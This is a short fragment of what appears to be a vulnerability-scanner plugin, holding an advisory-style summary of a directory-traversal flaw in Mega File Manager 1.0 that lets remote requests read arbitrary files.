tag_summary = "Mega File Manager is prone to a directory-traversal vulnerability
because it fails to properly sanitize user-supplied input.

Remote attackers can use specially crafted requests with directory-
traversal sequences ('../') to retrieve arbitrary files in the context
of the application.

Exploiting this issue may allow an attacker to obtain sensitive
information that could aid in further attacks.

Mega File Manager 1.0 is vulnerable; other versions may also be
affected.";
